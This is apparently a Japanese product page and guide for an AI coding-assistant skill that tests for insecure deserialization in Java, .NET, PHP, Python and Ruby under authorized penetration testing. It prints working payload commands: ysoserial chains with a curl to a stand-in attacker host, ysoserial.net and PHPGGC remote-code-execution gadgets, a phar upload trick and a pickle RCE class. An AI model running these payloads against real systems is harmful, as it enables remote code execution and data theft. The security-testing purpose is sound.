exploiting-deserialization について
一般的なランタイムとシリアライズ形式における安全でないデシリアライズを特定・検証するセキュリティテストスキルです。許可されたテストで、形式の判別からブラインド確認、影響の適切な評価までを支援します。
主な機能
- 01シリアライズ形式とランタイムの判別
- 02一般的なデシリアライズ箇所の調査
- 03帯域外通信によるブラインド事例の確認
- 04ランタイム別ガジェット手法の特定
- 05過度なエスカレーションを避けた影響評価
活用シーン
- 01シリアライズされたCookieやリクエストデータの調査
- 02キューやキャッシュの処理側のテスト
- 03ブラインドデシリアライズ疑いの調査
- 04アプリの危険なオブジェクト解析の評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ trilwu/ secskills --skill exploiting-deserializationインストール後、Claude Code で/exploiting-deserializationを入力して読み込まれたか確認します。
詳細
デシリアライゼーションの悪用
デシリアライゼーションは、攻撃者が制御するバイト列を、攻撃者が選んだ型の実オブジェクトに変換します。脆弱性はパース処理ではなく、こうしたオブジェクトの構築によって、開発者が意図していないコードパスが実行されることにあります。必要なのは、形式を特定し、クラスパス上にたまたま存在するライブラリからガジェットチェーンを見つけることです。
テストの許可を得ているシステムに対してのみ実施してください。
使用する場合
- Cookie、パラメーター、ヘッダー、またはメッセージ本文にシリアライズされたオブジェクトが含まれている
- トラフィックやストレージ内に、以下に挙げるマジック値が見つかる
- ソースコードのレビューで
readObject、unserialize、pickle.loads、Marshal.load、BinaryFormatter、yaml.load、またはObjectInputStreamが見つかる - メッセージキュー、キャッシュ、またはセッションストアにシリアライズされたオブジェクトが保存されている
- 疑わしいブラインドデシリアライゼーションを確認する必要がある
使用しない場合
- オブジェクトのインスタンス化を伴わない JSON/XML のパース — これはインジェクションまたは XXE です。
testing-web-applicationsを使用してください - 主な作業がソースコードレビューの場合 —
auditing-code-for-vulnerabilitiesを使用してください。 エクスプロイトの段階でここに戻ってください - 影響の証明を超える武器化ペイロードの作成 — 制御可能であることを証明したら、そこで止めてください
- デシリアライゼーションを利用するマルウェアの分析 —
analyzing-malwareを使用してください
形式を特定する
マジックバイトでランタイムを特定し、ランタイムによってアプローチ全体が決まります。
| エンコーディング | Base64 プレフィックス | 生バイト | ランタイム |
|---|---|---|---|
| Java シリアライゼーション | rO0AB | AC ED 00 05 | Java |
.NET BinaryFormatter | AAEAAAD///// | 00 01 00 00 00 FF FF FF FF | .NET |
.NET LosFormatter/ViewState | 多くの場合 /wEP | — | ASP.NET |
PHP serialize() | Tzo、YTo | O: 、a: | PHP |
| Python pickle | gAJ、gASV、KGRw | 80 04、80 02、(dp | Python |
| Ruby Marshal | BAh | 04 08 | Ruby |
Java Hessian/Burlap | Yw | 63/48 | Java |
| タグ付き YAML | — | !!python/object、!ruby/object | 複数 |
# Decode anything suspicious you find
echo 'rO0ABXNyABNq...' | base64 -d | xxd | head -3
# Java: readable class names appear in the stream
echo '<b64>' | base64 -d | strings | head -20
Java ストリームにはクラス名が平文で含まれているため、デシリアライゼーションであることと、どのライブラリが使われているかの両方がわかります。
Java
# Generate a payload for a gadget chain present on the target's classpath
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/$(whoami)' | base64 -w0
java -jar ysoserial.jar CommonsBeanutils1 'ping -c1 attacker.example' | base64 -w0
# Blind detection first — URLDNS needs no gadget library at all
java -jar ysoserial.jar URLDNS 'http://<unique>.oast.example' | base64 -w0
必ず URLDNS から始めてください。 JDK クラスだけを使用するため、どのライブラリが存在するかに関係なく、デシリアライゼーションが発生する環境なら動作します。DNS リクエストが届けば脆弱性を確認できます。ガジェットチェーンを推測するのは、その確認ができてからにしてください。
次に、クラスパスを調べてチェーンを選びます。
- ライブラリクラス名が記載されたエラーメッセージやスタックトレース
gadgetprobe(Burp)— プローブを送信し、エラー動作の違いから存在するクラスを明らかにします- アプリケーションのほかのレスポンスからバージョンを特定する
よく使われるチェーンと必要なもの:CommonsCollections1–7(commons-collections
3.x/4.x)、CommonsBeanutils1、Spring1/2、Groovy1、Hibernate1、
Jdk7u21(ライブラリは不要ですが、対応する JDK の範囲が限られます)、ROME、C3P0。
生のシリアライゼーション以外: Java のデシリアライゼーションは JNDI 経由でも攻撃できます。攻撃者の URL に対する JNDI ルックアップを引き起こすガジェットによって、リモートクラス読み込みが可能になります(Log4Shell の仕組みです)。新しい JDK ではこれが制限されているため、動作すると決めつける前にバージョンを確認してください。
.NET
# ysoserial.net — formatter matters as much as the gadget
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami > c:\\temp\\o"
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "..." \
--generator=<viewstate-generator> --validationkey=<key> --validationalg=SHA1
脆弱なフォーマッター:BinaryFormatter、LosFormatter、NetDataContractSerializer、
ObjectStateFormatter、SoapFormatter、および TypeNameHandling が None ではない場合の
Json.NET/XmlSerializer。最後のケースは、最近のコードで最もよく見られます。TypeNameHandling.All または .Objects を使うと、JSON で独自の $type を指定できるため、別名のデシリアライゼーションと言えます。
rg -n 'TypeNameHandling|BinaryFormatter|LosFormatter|NetDataContractSerializer' --type cs
ViewState は、従来からある ASP.NET のケースです。MAC キーが判明している場合に悪用できます(漏えいした web.config、既知のデフォルト値、または古いバージョンでの enableViewStateMac="false")。ペイロードはキーがなければ拒否されるため、まず validationKey と decryptionKey を取得してください。
PHP
// The magic methods that fire during and after unserialize
__wakeup(), __destruct(), __toString(), __call(), __get()
# Find a chain: PHPGGC covers the common frameworks
phpggc Laravel/RCE9 system 'id'
phpggc Monolog/RCE2 system 'id' -b # base64 output
phpggc -l # list available chains
# Phar deserialization: any file-system function on a phar:// path triggers
# unserialize of the phar metadata — file_exists, filesize, is_dir, etc.
phpggc Monolog/RCE2 system 'id' -p phar -o payload.phar
# then get it uploaded and reference it as phar://uploaded.jpg/x
Phar は見落とされがちな攻撃経路です。攻撃者が影響を与えられるパスに対するあらゆるファイルシステム呼び出しを、コード内に明らかな unserialize() がなくてもデシリアライゼーションにつなげられます。
Python
# Pickle is arbitrary code execution by design — it is not a parser bug
import pickle, base64, os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(RCE())).decode())
以下も確認してください:SafeLoader を指定しない yaml.load()(!!python/object/apply:os.system)、
jsonpickle、dill、shelve、allow_pickle=True を指定した numpy.load、および
pickle を基盤とする ML モデル形式(詳しくは securing-ai-systems を参照)。
Ruby
# Marshal.load on untrusted input; gadget chains exist for Rails and common gems
# universal_pwn / Rails deserialization chains cover the usual cases
また、YAML.load(Psych 4 より前のデフォルト設定)や、secret_key_base が漏えいした Rails の Cookie ストアも確認してください。
ブラインド型および帯域外
実際のケースのほとんどでは、出力がありません。チェーンに取り組む前に、まず確認してください。
# 1. DNS/HTTP callback — the primary confirmation
# Java URLDNS, PHP with a chain that fetches a URL, Python os.system('curl ...')
# 2. Timing — a sleep gadget proves execution when egress is blocked
# 'sleep 10' / 'ping -n 11 127.0.0.1'
# 3. Error differential — a malformed object vs a well-formed one of the wrong
# type produces different exceptions, confirming parsing without execution
帯域外のやり取りがあれば、デシリアライズが発生したことを証明できます。それだけで指摘事項として十分です。完全なシェルへの昇格は多くの場合不要であり、リスクを高めます。
シリアライズされたデータが隠れている場所
明らかなリクエストパラメーター以外にも、次のような場所があります。
- セッション Cookie と「ログイン状態を保持する」トークン
- ワーカーが処理するメッセージキュー(RabbitMQ、Kafka、SQS)
- キャッシュ:Redis、Memcached、
Ehcache - バックグラウンドジョブで処理されるファイルアップロード
- サービス間 RPC:RMI、JMX、JNDI、T3(WebLogic)、IIOP
- シリアライズされたデータの塊を保持するデータベース列
- ログに記録された後、ログプロセッサーによって再読み込みされるあらゆるデータ
キューとキャッシュのケースは最も価値があります。コンシューマーは通常、Web 層よりも高い権限を持つバックエンドサービスであり、そこへのプロキシは存在しないためです。
却下すべき合理化
- 「デシリアライズの前に入力を検証しています。」 シリアライズされたデータの塊を検証するのはほぼ不可能です。型はデータの塊の中に含まれています。
- 「
unserialize()の呼び出しはありません。」 PHP では Phar を確認してください。Java では RMI、JMX、JNDI を確認してください。.NET ではTypeNameHandlingを確認してください。 - 「ガジェットチェーンが機能しなかったので、脆弱ではありません。」
URLDNSはクラスパスに依存せず、デシリアライズを確認できます。まず確認し、その後にチェーンを試してください。 - 「署名済み Cookie なので改ざんできません。」 鍵が秘密である場合に限ります。漏えいした鍵やデフォルトの鍵がないか確認してください。
- 「ライブラリにはパッチが適用済みです。」 パッチで削除されるのは特定のガジェットです。シンクは依然として存在し、新しいチェーンも次々と登場します。
- 「内部のものなので、送信するのは自社サービスだけです。」 キューやキャッシュには Web 層より多くの場所からアクセスでき、それこそが問題の本質です。
- 「DNS のヒットは得られましたが、シェルは得られなかったので、深刻度は低いです。」 デシリアライズシンクが確認された場合、深刻度は高いです。そのように報告してください。
ATT&CK の対象範囲
secskills-core/ttp-index.json から生成されます。このファイルを編集してから、
python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、
ID が現在の ATT&CK リリースと一致していることを再確認してください。
初期アクセス(TA0001)
- T1190 公開向けアプリケーションの悪用 —
testing-web-applications、testing-apis、enumerating-network-services、attacking-graphql、attacking-grpc-protobuf、exploiting-ssrf、exploiting-xxeも参照してください
これらに関する検知コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。
参考資料
auditing-code-for-vulnerabilities— ソースコード内のシンクの特定testing-web-applications— 関連する Web テストの手法securing-ai-systems— pickle を基盤とするモデル形式reporting-security-findings— ブラインド型の確認しかできない場合の深刻度- ysoserial、ysoserial.net、PHPGGC、gadgetprobe、Burp Collaborator / interact.sh